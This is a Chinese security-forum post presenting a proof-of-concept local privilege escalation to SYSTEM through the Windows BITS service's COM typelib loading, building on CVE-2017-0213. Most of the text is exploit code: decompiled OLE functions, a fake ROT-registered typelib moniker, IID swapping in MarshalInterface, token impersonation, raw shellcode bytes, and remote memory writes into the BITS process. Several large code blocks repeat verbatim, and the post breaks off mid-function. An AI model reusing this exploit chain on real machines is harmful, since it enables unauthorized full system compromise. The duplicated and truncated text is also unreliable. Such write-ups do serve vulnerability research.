首页
社区
课程
招聘
[原创]一次不完美的0day,使用全新的方式利用btis服务com组件漏洞,成功提权至system
发表于: 2018-4-2 21:54 6663

[原创]一次不完美的0day,使用全新的方式利用btis服务com组件漏洞,成功提权至system

王cb 活跃值
11
2018-4-2 21:54
6663

我的poc能实现功能:需要管理员身份运行,在打满所有补丁的server2008或win7操作系统,能在bits服务上运行shellcode,最终获得一个system权限的cmd
我的poc实现原理:在windows下有个以system权限运行的Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口,bits服务最终会调用loadregtypelib这个ole32下函数加载一个指定com组件的typelib(具体原理可参考CVE-2017-0213,这里省略),并且可以指定任意typlelib,loadregtypelib函数接着调用LoadTypeLibEx,具体可看我的逆向代码.

`HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib)
{
  wchar_t *szFileNameRef; // edi
  int hr; // esi
  int v5; // esi
  int v6; // eax
  OLECHAR *v8; // edi
  HRESULT stat; // esi
  void *v10; // [esp+Ch] [ebp-898h]
  ITypeLib **ptlibRef; // [esp+10h] [ebp-894h]
  ULONG pchEaten; // [esp+14h] [ebp-890h]
  LPMONIKER ppmk; // [esp+18h] [ebp-88Ch]
  LPBC ppbc; // [esp+1Ch] [ebp-888h]
  struct ILockBytes *v15; // [esp+20h] [ebp-884h]
  ITypeLib *ptlib; // [esp+24h] [ebp-880h]
  LPCOLESTR szFullPath; // [esp+28h] [ebp-87Ch]
  HFILE hFile; // [esp+2Ch] [ebp-878h]
  int v19; // [esp+30h] [ebp-874h]
  int v20; // [esp+38h] [ebp-86Ch]
  int v21; // [esp+3Ch] [ebp-868h]
  int v22; // [esp+40h] [ebp-864h]
  struct _IMAGE_DOS_HEADER v23; // [esp+48h] [ebp-85Ch]
  enum tagSYSKIND syskind; // [esp+88h] [ebp-81Ch]
  int v25; // [esp+8Ch] [ebp-818h]
  wchar_t Filename; // [esp+90h] [ebp-814h]
  wchar_t Dir; // [esp+290h] [ebp-614h]
  wchar_t PathResult; // [esp+490h] [ebp-414h]
  wchar_t Ext; // [esp+698h] [ebp-20Ch]
  wchar_t Drive; // [esp+898h] [ebp-Ch]

  szFileNameRef = szFile;
  ptlibRef = pptlib;
  ppmk = 0;
  if ( (regkind & 0x60) == 96 )
  {
    syskind = -1;
  }
  else if ( regkind & 0x20 )
  {
    syskind = 1;
  }
  else
  {
    syskind = (regkind & 0x40 | 0x20u) >> 5;
  }
  if ( regkind & 0xFFFFFF9F )
  {
    if ( (regkind & 0xFFFFFF9F) == 1 )
    {
      regkind = 1;
    }
    else if ( (regkind & 0xFFFFFF9F) == 2 )
    {
      regkind = 2;
    }
  }
  else
  {
    regkind = 0;
  }
  if ( !szFile || !pptlib || regkind > 2 )
    return -2147024809;
  *pptlib = 0;
  while ( 1 )
  {
    v15 = 0;
    ptlib = 0;
    InitLoadInfo(&szFullPath);
    hr = InitAppData();
    if ( hr < 0 )
      goto LABEL_60;
    if ( !*szFileNameRef )
    {
      hr = -2147287038;
      goto LABEL_60;
    }
    v5 = sub_6FC41A75();
    if ( v5 )
    {
      ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFileNameRef, syskind);
      if ( ptlib )
        goto LABEL_31;
    }
    if ( FindTypeLib(szFileNameRef, &szFullPath, v5) )
    {
      if ( CreateBindCtx(1u, &ppbc) )
        goto LABEL_67;
      v8 = SysAllocString(szFileNameRef);
      if ( v8 )
      {
       //先根据它的DisplayName创建filemoniker
        stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);
        SysFreeString(v8);
        if ( !stat )
        {
         //BindToObject调用来获取typelib
          stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, &ptlib);
          ppmk->lpVtbl->Release(ppmk);
        }
      }
      else
      {
        stat = -2147024882;
      }
      ppbc->lpVtbl->Release(ppbc);
      if ( stat )
      {
LABEL_67:
        hr = -2147312566;
        goto LABEL_60;
      }
      goto LABEL_28;
    }
    ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFullPath, syskind);
    if ( ptlib )
    {
      UninitLoadInfo(&szFullPath);
LABEL_31:
      *ptlibRef = ptlib;
      return 0;
    }
    pchEaten = 0;
    ppbc = 0;
    if ( v22 )
    {
      hr = GetOffsetOfResource(hFile, "typelib", v21, &v23, &pchEaten, &ppbc);
      if ( hr < 0 )
        goto LABEL_60;
    }
    hr = CreateFileLockBytesOnHFILE(hFile, 0, pchEaten, ppbc, &v10, &v15);
    if ( hr < 0 )
      goto LABEL_60;
    hFile = -1;
    if ( v20 || v22 )
    {
      v6 = LoadTypeLib2LockBytes(v15, szFullPath, v25, v10, &ptlib, syskind);
      hr = v6;
      if ( v6 >= 0 )
      {
        if ( v15 )
        {
          v15->lpVtbl->Release(v15);
          v15 = 0;
        }
        goto LABEL_24;
      }
      if ( v6 != -2147319783 )
        goto LABEL_60;
    }
    if ( syskind != 3 )
      break;
    if ( ppmk
      || (_wsplitpath_s(szFileNameRef, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u),
          _wcsicmp(&Filename, L"stdole32"))
      || _wcsicmp(&Ext, L".tlb") )
    {
      hr = -2147319783;
      goto LABEL_60;
    }
    _wmakepath_s(&PathResult, 0x104u, &Drive, &Dir, L"stdole2", &Ext);
    if ( v15 )
      v15->lpVtbl->Release(v15);
    UninitLoadInfo(&szFullPath);
    szFileNameRef = &PathResult;
    ppmk = 1;
  }
  hr = LoadTypeLib1LockBytes(&v15, szFullPath, v25, &ptlib);
  if ( hr >= 0 )
  {
LABEL_24:
    hr = OLE_TYPEMGR::TypeLibLoaded(g_poletmgr, szFullPath, v25, ptlib, syskind);
    if ( hr < 0 )
      goto LABEL_60;
    if ( regkind == REGKIND_DEFAULT && v19 || regkind == 1 )
      RegisterTypeLib(ptlib, szFullPath, 0);
LABEL_28:
    UninitLoadInfo(&szFullPath);
    *ptlibRef = ptlib;
    return 0;
  }
LABEL_60:
  if ( ptlib )
    ptlib->lpVtbl->Release(ptlib);
  if ( v15 )
    v15->lpVtbl->Release(v15);
  UninitLoadInfo(&szFullPath);
  return hr;
}`;

逆向结果表明:loadregtypelib会把这个com组件的typelib中指定的组件dll文件名作为一个filemoniker解析; 我的第一步做法是Easy File Locker使用锁定这个文件C:\project\testalt\Debug\testalt.dll(你也可以使用https://www.exploit-db.com/exploits/42021/中的方法不需要锁定文件,请另行尝试), 然后,因为文件被锁定了,所以它loadregtypelib调用mkpaersedisplayname来createfilemoniker失败,那是不是意味着我们自定义一个和这个filemoniker相同displayname的任意类型的moniker就可以冒充它了,答案是可行的,所以我在poc中实现了这个moniker并在Running Object Table注册一个自定义的typelib作为moniker关联对象,然后bits服务就会调用filemoniker上bindtoobject返回的对象作为它要找的typelib, 看我的poc具体实现: 
 先初始化一下CoInitializeSecurity注意这里的appid为自定义com组件的appid,不然注册Rot无法使用
	hr = CoInitializeSecurity(
		&appid,
		-1,
		NULL,
		NULL,
		RPC_C_AUTHN_LEVEL_CONNECT,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING | 8,
		NULL);
    bstr_t target_tlb = GetExeDir() + L"\\testalt.dll";

    TypeLibWrapper 实现ITypeLib接口的任意TypeLib对象
	TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);

	ITypeLibPtr tlbptr = static_cast<ITypeLib*>(tlb);
	IRunningObjectTablePtr l_spRunningObjectTable;
	hr = GetRunningObjectTable(0, &l_spRunningObjectTable);
	if (FAILED(hr))
	{
		return false;
	}
	IMonikerPtr l_spMoniker;
    tlb_path就是我们要用来代替的哪个filemoniker组件dll文件
	hr = CreateFileMoniker(tlb_path, &l_spMoniker);
    在全局Rot注册以下就好了
    DWORD dm;
	hr = l_spRunningObjectTable->Register(3, static_cast<ITypeLib*>(tlb), l_spMoniker, &dm);
		
	if (FAILED(hr))
	{
		return false;
	}
    //CVE-2017-0213的里面和方法一样只要在MarshalInterface时替换成自定义com组件的guid就行了
	TestBits(hEvent, pInner);

`    
CVE-2017-0213需要使用具体触发方法
`virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		
		printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		IID iid = riid;
	
		if (iid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Setting bad IID\n");
			
			CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", &iid);


			//这里的iid自定义com组件的guid
			HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);			
			return hr;

		}
		if (iid == __uuidof(IBackgroundCopyCallback))
		{
			

			HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
			return hr;
		}
		
		return hr;
	}
`
之后bits服务就会去加载自定义com组件的typlelib了,bits服务会把注册在rot上的TypeLibWrapper作为它要找的typelib,然后首先调用它的GetTypeInfoOfGuid方法,看poc代码:
`   virtual HRESULT STDMETHODCALLTYPE GetTypeInfoOfGuid(
		/* [in] */ __RPC__in REFGUID guid,
		/* [out] */ __RPC__deref_out_opt ITypeInfo **ppTinfo) {
		try{
			//查看远程调用方的token,其实就是bits服务
			TryImpersonate();

			
			return S_OK;
			
		}
		catch (const _com_error& err)
		{
			printf("Error: %ls\n", err.ErrorMessage());
		}

		return S_OK;
	}


       void TryImpersonate()
	{
		if (m_ptoken == nullptr)
		{
			HRESULT hr = CoImpersonateClient();
			if (SUCCEEDED(hr))
			{
				HANDLE hToken;
				if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
				{
					PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
					DWORD ret_len = 0;

					if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
					{
						LPWSTR sid_name;

						ConvertSidToStringSid(user->User.Sid, &sid_name);
						printf(" Token is Name  => %ls \n", sid_name);
						if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (m_ptoken == nullptr))
						{
                             //在这里就可确认确实是bits服务的systemtoken
							printf("[!] System Token is Name  => %ls  ValuePointeris:%p \n", sid_name);			
                           // 有兴趣的可以看我子项目里面的方法查看token的详细信息
							DumpToken(m_ptoken, TRUE);
							
						}
						else
						{
							CloseHandle(hToken);
						}

						printf("Got Token: %p %ls\n", hToken, sid_name);
						LocalFree(sid_name);


					}
					else
					{
						printf("Error getting token user %d\n", GetLastError());
					}
					free(user);
				}
				else
				{
					printf("Error opening token %d\n", GetLastError());
				}
			}
		}
	}
`    



             接下来就是重点如何利用这个token,或者说如何在bits服务中执行shellcode吗? 还记得这个TypeLibWrapper吗,bits服务要把他作为要找的typelib,然后首先调用它的GetTypeInfoOfGuid方法,在这之前由于TypeLibWrapper也是一个com对象,会queryinterface以下IMarshal接口,对了,这就是我利用它最终实现运行shellcode的突破点,既然是IMarshal,是否可以作为CFreeMarshaler来unmarshalinerface吗?读者有兴趣的花时间看下另一个poc的原文https://googleprojectzero.blogspot.kr/2014/12/ 里面的原理是CFreeMarshaler最后会会从unmarshal的stream中序列化出来一个指针,然后call这个指针(也就是最终的callshellcode); 因为要用到CFreeMarshaler,先看我逆向它出来的源码: 
`HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib)
{
  wchar_t *szFileNameRef; // edi
  int hr; // esi
  int v5; // esi
  int v6; // eax
  OLECHAR *v8; // edi
  HRESULT stat; // esi
  void *v10; // [esp+Ch] [ebp-898h]
  ITypeLib **ptlibRef; // [esp+10h] [ebp-894h]
  ULONG pchEaten; // [esp+14h] [ebp-890h]
  LPMONIKER ppmk; // [esp+18h] [ebp-88Ch]
  LPBC ppbc; // [esp+1Ch] [ebp-888h]
  struct ILockBytes *v15; // [esp+20h] [ebp-884h]
  ITypeLib *ptlib; // [esp+24h] [ebp-880h]
  LPCOLESTR szFullPath; // [esp+28h] [ebp-87Ch]
  HFILE hFile; // [esp+2Ch] [ebp-878h]
  int v19; // [esp+30h] [ebp-874h]
  int v20; // [esp+38h] [ebp-86Ch]
  int v21; // [esp+3Ch] [ebp-868h]
  int v22; // [esp+40h] [ebp-864h]
  struct _IMAGE_DOS_HEADER v23; // [esp+48h] [ebp-85Ch]
  enum tagSYSKIND syskind; // [esp+88h] [ebp-81Ch]
  int v25; // [esp+8Ch] [ebp-818h]
  wchar_t Filename; // [esp+90h] [ebp-814h]
  wchar_t Dir; // [esp+290h] [ebp-614h]
  wchar_t PathResult; // [esp+490h] [ebp-414h]
  wchar_t Ext; // [esp+698h] [ebp-20Ch]
  wchar_t Drive; // [esp+898h] [ebp-Ch]

  szFileNameRef = szFile;
  ptlibRef = pptlib;
  ppmk = 0;
  if ( (regkind & 0x60) == 96 )
  {
    syskind = -1;
  }
  else if ( regkind & 0x20 )
  {
    syskind = 1;
  }
  else
  {
    syskind = (regkind & 0x40 | 0x20u) >> 5;
  }
  if ( regkind & 0xFFFFFF9F )
  {
    if ( (regkind & 0xFFFFFF9F) == 1 )
    {
      regkind = 1;
    }
    else if ( (regkind & 0xFFFFFF9F) == 2 )
    {
      regkind = 2;
    }
  }
  else
  {
    regkind = 0;
  }
  if ( !szFile || !pptlib || regkind > 2 )
    return -2147024809;
  *pptlib = 0;
  while ( 1 )
  {
    v15 = 0;
    ptlib = 0;
    InitLoadInfo(&szFullPath);
    hr = InitAppData();
    if ( hr < 0 )
      goto LABEL_60;
    if ( !*szFileNameRef )
    {
      hr = -2147287038;
      goto LABEL_60;
    }
    v5 = sub_6FC41A75();
    if ( v5 )
    {
      ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFileNameRef, syskind);
      if ( ptlib )
        goto LABEL_31;
    }
    if ( FindTypeLib(szFileNameRef, &szFullPath, v5) )
    {
      if ( CreateBindCtx(1u, &ppbc) )
        goto LABEL_67;
      v8 = SysAllocString(szFileNameRef);
      if ( v8 )
      {
       //先根据它的DisplayName创建filemoniker
        stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);
        SysFreeString(v8);
        if ( !stat )
        {
         //BindToObject调用来获取typelib
          stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, &ptlib);
          ppmk->lpVtbl->Release(ppmk);
        }
      }
      else
      {
        stat = -2147024882;
      }
      ppbc->lpVtbl->Release(ppbc);
      if ( stat )
      {
LABEL_67:
        hr = -2147312566;
        goto LABEL_60;
      }
      goto LABEL_28;
    }
    ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFullPath, syskind);
    if ( ptlib )
    {
      UninitLoadInfo(&szFullPath);
LABEL_31:
      *ptlibRef = ptlib;
      return 0;
    }
    pchEaten = 0;
    ppbc = 0;
    if ( v22 )
    {
      hr = GetOffsetOfResource(hFile, "typelib", v21, &v23, &pchEaten, &ppbc);
      if ( hr < 0 )
        goto LABEL_60;
    }
    hr = CreateFileLockBytesOnHFILE(hFile, 0, pchEaten, ppbc, &v10, &v15);
    if ( hr < 0 )
      goto LABEL_60;
    hFile = -1;
    if ( v20 || v22 )
    {
      v6 = LoadTypeLib2LockBytes(v15, szFullPath, v25, v10, &ptlib, syskind);
      hr = v6;
      if ( v6 >= 0 )
      {
        if ( v15 )
        {
          v15->lpVtbl->Release(v15);
          v15 = 0;
        }
        goto LABEL_24;
      }
      if ( v6 != -2147319783 )
        goto LABEL_60;
    }
    if ( syskind != 3 )
      break;
    if ( ppmk
      || (_wsplitpath_s(szFileNameRef, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u),
          _wcsicmp(&Filename, L"stdole32"))
      || _wcsicmp(&Ext, L".tlb") )
    {
      hr = -2147319783;
      goto LABEL_60;
    }
    _wmakepath_s(&PathResult, 0x104u, &Drive, &Dir, L"stdole2", &Ext);
    if ( v15 )
      v15->lpVtbl->Release(v15);
    UninitLoadInfo(&szFullPath);
    szFileNameRef = &PathResult;
    ppmk = 1;
  }
  hr = LoadTypeLib1LockBytes(&v15, szFullPath, v25, &ptlib);
  if ( hr >= 0 )
  {
LABEL_24:
    hr = OLE_TYPEMGR::TypeLibLoaded(g_poletmgr, szFullPath, v25, ptlib, syskind);
    if ( hr < 0 )
      goto LABEL_60;
    if ( regkind == REGKIND_DEFAULT && v19 || regkind == 1 )
      RegisterTypeLib(ptlib, szFullPath, 0);
LABEL_28:
    UninitLoadInfo(&szFullPath);
    *ptlibRef = ptlib;
    return 0;
  }
LABEL_60:
  if ( ptlib )
    ptlib->lpVtbl->Release(ptlib);
  if ( v15 )
    v15->lpVtbl->Release(v15);
  UninitLoadInfo(&szFullPath);
  return hr;
}`;

 先初始化一下CoInitializeSecurity注意这里的appid为自定义com组件的appid,不然注册Rot无法使用
	hr = CoInitializeSecurity(
		&appid,
		-1,
		NULL,
		NULL,
		RPC_C_AUTHN_LEVEL_CONNECT,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING | 8,
		NULL);
    bstr_t target_tlb = GetExeDir() + L"\\testalt.dll";

    TypeLibWrapper 实现ITypeLib接口的任意TypeLib对象
	TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);

	ITypeLibPtr tlbptr = static_cast<ITypeLib*>(tlb);
	IRunningObjectTablePtr l_spRunningObjectTable;
	hr = GetRunningObjectTable(0, &l_spRunningObjectTable);
	if (FAILED(hr))
	{
		return false;
	}
	IMonikerPtr l_spMoniker;
    tlb_path就是我们要用来代替的哪个filemoniker组件dll文件
	hr = CreateFileMoniker(tlb_path, &l_spMoniker);
    在全局Rot注册以下就好了
    DWORD dm;
	hr = l_spRunningObjectTable->Register(3, static_cast<ITypeLib*>(tlb), l_spMoniker, &dm);
		
	if (FAILED(hr))
	{
		return false;
	}
    //CVE-2017-0213的里面和方法一样只要在MarshalInterface时替换成自定义com组件的guid就行了
	TestBits(hEvent, pInner);

`    
CVE-2017-0213需要使用具体触发方法
`virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{
		
		printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		IID iid = riid;
	
		if (iid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Setting bad IID\n");
			
			CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", &iid);


			//这里的iid自定义com组件的guid
			HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);			
			return hr;

		}
		if (iid == __uuidof(IBackgroundCopyCallback))
		{
			

			HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
			return hr;
		}
		
		return hr;
	}
`
之后bits服务就会去加载自定义com组件的typlelib了,bits服务会把注册在rot上的TypeLibWrapper作为它要找的typelib,然后首先调用它的GetTypeInfoOfGuid方法,看poc代码:
`   virtual HRESULT STDMETHODCALLTYPE GetTypeInfoOfGuid(
		/* [in] */ __RPC__in REFGUID guid,
		/* [out] */ __RPC__deref_out_opt ITypeInfo **ppTinfo) {
		try{
			//查看远程调用方的token,其实就是bits服务
			TryImpersonate();

			
			return S_OK;
			
		}
		catch (const _com_error& err)
		{
			printf("Error: %ls\n", err.ErrorMessage());
		}

		return S_OK;
	}


       void TryImpersonate()
	{
		if (m_ptoken == nullptr)
		{
			HRESULT hr = CoImpersonateClient();
			if (SUCCEEDED(hr))
			{
				HANDLE hToken;
				if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
				{
					PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
					DWORD ret_len = 0;

					if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
					{
						LPWSTR sid_name;

						ConvertSidToStringSid(user->User.Sid, &sid_name);
						printf(" Token is Name  => %ls \n", sid_name);
						if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (m_ptoken == nullptr))
						{
                             //在这里就可确认确实是bits服务的systemtoken
							printf("[!] System Token is Name  => %ls  ValuePointeris:%p \n", sid_name);			
                           // 有兴趣的可以看我子项目里面的方法查看token的详细信息
							DumpToken(m_ptoken, TRUE);
							
						}
						else
						{
							CloseHandle(hToken);
						}

						printf("Got Token: %p %ls\n", hToken, sid_name);
						LocalFree(sid_name);


					}
					else
					{
						printf("Error getting token user %d\n", GetLastError());
					}
					free(user);
				}
				else
				{
					printf("Error opening token %d\n", GetLastError());
				}
			}
		}
	}
`    

`   virtual HRESULT STDMETHODCALLTYPE GetTypeInfoOfGuid(
		/* [in] */ __RPC__in REFGUID guid,
		/* [out] */ __RPC__deref_out_opt ITypeInfo **ppTinfo) {
		try{
			//查看远程调用方的token,其实就是bits服务
			TryImpersonate();

			
			return S_OK;
			
		}
		catch (const _com_error& err)
		{
			printf("Error: %ls\n", err.ErrorMessage());
		}

		return S_OK;
	}


       void TryImpersonate()
	{
		if (m_ptoken == nullptr)
		{
			HRESULT hr = CoImpersonateClient();
			if (SUCCEEDED(hr))
			{
				HANDLE hToken;
				if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
				{
					PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
					DWORD ret_len = 0;

					if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
					{
						LPWSTR sid_name;

						ConvertSidToStringSid(user->User.Sid, &sid_name);
						printf(" Token is Name  => %ls \n", sid_name);
						if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (m_ptoken == nullptr))
						{
                             //在这里就可确认确实是bits服务的systemtoken
							printf("[!] System Token is Name  => %ls  ValuePointeris:%p \n", sid_name);			
                           // 有兴趣的可以看我子项目里面的方法查看token的详细信息
							DumpToken(m_ptoken, TRUE);
							
						}
						else
						{
							CloseHandle(hToken);
						}

						printf("Got Token: %p %ls\n", hToken, sid_name);
						LocalFree(sid_name);


					}
					else
					{
						printf("Error getting token user %d\n", GetLastError());
					}
					free(user);
				}
				else
				{
					printf("Error opening token %d\n", GetLastError());
				}
			}
		}
	}
`    



HRESULT __stdcall CFreeMarshaler::UnmarshalInterface(CFreeMarshaler *this, IStream *pStm, _GUID *riid, void **ppv)
{
  bool v4; // zf
  int v5; // eax
  __int64 tpv; // [esp+8h] [ebp-28h]
  unsigned int mshlflags; // [esp+10h] [ebp-20h]
  unsigned int cbSize; // [esp+14h] [ebp-1Ch]
  HRESULT hr; // [esp+18h] [ebp-18h]
  char secret[16]; // [esp+1Ch] [ebp-14h]

  *ppv = 0;
  //判断初始化CFreeMarshaler标志
  if ( !CFreeMarshaler::_fSecretInit )
    return -2147418113;
 //先读出第一个关于标志mshlflags
  pStm->_SelfStreamVtbl->Read(pStm, &mshlflags, 4u, &cbSize);
  if ( cbSize != 4 )
    return -2147418113;
  //先读出第二个最终shellcode的指针
  pStm->_SelfStreamVtbl->Read(pStm, &tpv, 8u, &cbSize);
  if ( cbSize != 8 )
    return -2147418113;
  //比较CFreeMarshaler中的secret,如果相同就ok了
  hr = pStm->_SelfStreamVtbl->Read(pStm, secret, 16u, &cbSize);
  if ( cbSize != 16 || memcmp(CFreeMarshaler::_SecretBlock, secret, 0x10u) )
    return -2147418113;
  v4 = mshlflags == 2;
  v5 = tpv;
   //最终shellcode的指针的poi
  *ppv = (void *)tpv;

  if ( v4 || mshlflags == 1 )
    //最终的callshellcode,本文的最终结果
    (*(void (__stdcall **)(int))(*(_DWORD *)v5 + 4))(v5);
  return hr;
}

`

HRESULT __stdcall CFreeMarshaler::UnmarshalInterface(CFreeMarshaler *this, IStream *pStm, _GUID *riid, void **ppv)
{
  bool v4; // zf
  int v5; // eax
  __int64 tpv; // [esp+8h] [ebp-28h]
  unsigned int mshlflags; // [esp+10h] [ebp-20h]
  unsigned int cbSize; // [esp+14h] [ebp-1Ch]
  HRESULT hr; // [esp+18h] [ebp-18h]
  char secret[16]; // [esp+1Ch] [ebp-14h]

  *ppv = 0;
  //判断初始化CFreeMarshaler标志
  if ( !CFreeMarshaler::_fSecretInit )
    return -2147418113;
 //先读出第一个关于标志mshlflags
  pStm->_SelfStreamVtbl->Read(pStm, &mshlflags, 4u, &cbSize);
  if ( cbSize != 4 )
    return -2147418113;
  //先读出第二个最终shellcode的指针
  pStm->_SelfStreamVtbl->Read(pStm, &tpv, 8u, &cbSize);
  if ( cbSize != 8 )
    return -2147418113;
  //比较CFreeMarshaler中的secret,如果相同就ok了
  hr = pStm->_SelfStreamVtbl->Read(pStm, secret, 16u, &cbSize);
  if ( cbSize != 16 || memcmp(CFreeMarshaler::_SecretBlock, secret, 0x10u) )
    return -2147418113;
  v4 = mshlflags == 2;
  v5 = tpv;
   //最终shellcode的指针的poi
  *ppv = (void *)tpv;

  if ( v4 || mshlflags == 1 )
    //最终的callshellcode,本文的最终结果
    (*(void (__stdcall **)(int))(*(_DWORD *)v5 + 4))(v5);
  return hr;
}

`

比较简单就是是所构造好CFreeMarshaler::_fSecretInit和 CFreeMarshaler::_SecretBlock就可以了   
    
我poc实现实现是:

void initParam()
{
//我的shellcode
char shellcode[] = "\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x66\xba\x28\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";
	
	int len = strlen(shellcode);
	DWORD l = 0;
	printf("shellcode length %d bytes\n", len);

	VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
//976是bits服务的pid
   HANDLE btshl = OpenProcess(PROCESS_ALL_ACCESS,
		FALSE, 976);
	LPBYTE si[100];
	memset(&si, 0,sizeof(si));
	MEMORY_BASIC_INFORMATION basicInfo = { 0 };
	///FindSharedSection(*si, btshl);

	bstr_t szKey = _T( "aaaaaaaaaaaaaaa123456");
	LPVOID lpRemoteAddress = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPVOID lpRemoteAddress2 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPVOID lpRemoteAddress3 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 

	std::vector<BYTE> secret(16);
    //这里初始话我们CFreeMarshaler中自定义的的secret
	memcpy(&secret[0], szKey, secret.size());
    //构造secret
	std::vector<BYTE> retdata=	BuildFTMData(1, (ULONGLONG)lpRemoteAddress, secret);
    //把构造好的secret传给TypeLibWrapper让他里面unmarshal成CFreeMarshaler
	TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);
    //把参数写入bit服务的内存中
    DWORD wrt;
	ULONGLONG refptr = ((ULONGLONG)lpRemoteAddress2 - 8);
	BOOL bl = WriteProcessMemory(btshl, lpRemoteAddress, &refptr, 8, &wrt);
	if (wrt == 0)
	{
		printf("[x] can not WriteProcessMemory process:%d\n", GetLastError());
	}
	ULONGLONG refptr2 = (ULONGLONG)lpRemoteAddress3;
	bl = WriteProcessMemory(btshl, lpRemoteAddress2, &refptr2,8, &wrt);
	if (wrt == 0)
	{
		printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
	}
	bl = WriteProcessMemory(btshl, lpRemoteAddress3, shellcode, (strlen(shellcode) + 1)*sizeof(char), &wrt);
	if (wrt == 0)
	{
		printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
	}
    //设置shellcode为可读写
	bl = VirtualProtectEx(btshl,lpRemoteAddress3, len, PAGE_EXECUTE_READWRITE, &l);
	
}

//构造secret最终用来反序列化
std::vector<BYTE> BuildFTMData(UINT mshflags, ULONGLONG ptr, const std::vector<BYTE>& secret)
{
	std::vector<BYTE> ret(4 + sizeof(ptr) + secret.size());

	memcpy(&ret[0], &mshflags, sizeof(mshflags));
	memcpy(&ret[4], &ptr, sizeof(ptr));
	memcpy(&ret[4 + sizeof(ptr)], &secret[0], secret.size());

	return ret;
}


`
参数都构造好了,就看最终CFreeMarshaler如何反序列化了,看代码:
    `
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{
		
